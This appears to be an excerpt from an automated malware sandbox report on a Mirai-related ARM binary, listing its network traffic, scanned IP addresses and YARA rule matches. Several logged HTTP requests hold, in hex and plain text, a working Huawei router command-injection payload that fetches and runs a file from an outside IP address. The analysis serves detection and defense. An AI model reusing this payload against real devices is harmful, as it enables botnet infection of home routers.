75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 197.144.98.195
Source: unknown	TCP traffic detected without corresponding DNS query: 197.129.147.195
Source: unknown	TCP traffic detected without corresponding DNS query: 197.253.68.236
Source: unknown	TCP traffic detected without corresponding DNS query: 197.223.239.131
Source: unknown	TCP traffic detected without corresponding DNS query: 197.138.207.38
Source: unknown	TCP traffic detected without corresponding DNS query: 197.73.154.194
Source: unknown	TCP traffic detected without corresponding DNS query: 197.29.54.170
Source: unknown	TCP traffic detected without corresponding DNS query: 197.14.246.150
Source: unknown	TCP traffic detected without corresponding DNS query: 197.227.167.115
Source: unknown	TCP traffic detected without corresponding DNS query: 197.7.203.207
Source: unknown	TCP traffic detected without corresponding DNS query: 197.106.143.131
Source: unknown	TCP traffic detected without corresponding DNS query: 197.217.226.6
Source: unknown	TCP traffic detected without corresponding DNS query: 197.79.201.32
Source: unknown	TCP traffic detected without corresponding DNS query: 197.242.76.229
Source: unknown	TCP traffic detected without corresponding DNS query: 197.199.41.127
Source: unknown	TCP traffic detected without corresponding DNS query: 197.67.58.233
Source: unknown	TCP traffic detected without corresponding DNS query: 197.150.246.8
Source: unknown	TCP traffic detected without corresponding DNS query: 197.58.71.79
Source: unknown	TCP traffic detected without corresponding DNS query: 197.158.31.91
Source: unknown	TCP traffic detected without corresponding DNS query: 197.211.136.190
Source: unknown	TCP traffic detected without corresponding DNS query: 197.148.64.168
Source: unknown	TCP traffic detected without corresponding DNS query: 197.126.39.71
Source: unknown	TCP traffic detected without corresponding DNS query: 197.55.255.237
Source: unknown	TCP traffic detected without corresponding DNS query: 197.246.7.55
Source: unknown	TCP traffic detected without corresponding DNS query: 197.251.187.224
Source: unknown	TCP traffic detected without corresponding DNS query: 197.106.43.205
Source: unknown	TCP traffic detected without corresponding DNS query: 197.59.161.235
Source: unknown	TCP traffic detected without corresponding DNS query: 197.83.137.124
Source: unknown	TCP traffic detected without corresponding DNS query: 197.80.142.141
Source: unknown	TCP traffic detected without corresponding DNS query: 197.214.98.191
Source: unknown	TCP traffic detected without corresponding DNS query: 197.177.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 197.135.209.96
Source: unknown	TCP traffic detected without corresponding DNS query: 197.70.161.15
Source: unknown	TCP traffic detected without corresponding DNS query: 197.204.4.118
Source: unknown	TCP traffic detected without corresponding DNS query: 197.8.57.251
Source: unknown	TCP traffic detected without corresponding DNS query: 197.160.85.40
Source: unknown	TCP traffic detected without corresponding DNS query: 197.32.102.153
Source: unknown	TCP traffic detected without corresponding DNS query: 197.159.89.112
Source: unknown	TCP traffic detected without corresponding DNS query: 197.216.145.42
Source: unknown	TCP traffic detected without corresponding DNS query: 197.2.91.14
Source: unknown	TCP traffic detected without corresponding DNS query: 197.107.124.193
Source: unknown	TCP traffic detected without corresponding DNS query: 197.145.114.181
Source: unknown	TCP traffic detected without corresponding DNS query: 197.187.228.129
Source: unknown	TCP traffic detected without corresponding DNS query: 197.134.96.179
Source: unknown	TCP traffic detected without corresponding DNS query: 197.232.34.89
Source: unknown	TCP traffic detected without corresponding DNS query: 197.231.112.59
Source: unknown	TCP traffic detected without corresponding DNS query: 197.70.122.200
Source: unknown	TCP traffic detected without corresponding DNS query: 197.209.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 197.183.59.85
Source: unknown	TCP traffic detected without corresponding DNS query: 197.139.253.120

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Summary

Malicious sample detected (through community Yara rule)

Source: apep.arm, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5224.1.00000000bc1066aa.00000000a559dee6.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5226.1.00000000bc1066aa.00000000a559dee6.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth

Source: apep.arm, type: SAMPLE	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: apep.arm, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5226.1.00000000b1259b9d.00000000819ff67f.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5224.1.00000000b1259b9d.00000000ff72982b.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5224.1.00000000bc1066aa.00000000a559dee6.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5224.1.00000000bc1066aa.00000000a559dee6.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5226.1.00000000bc1066aa.00000000a559dee6.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
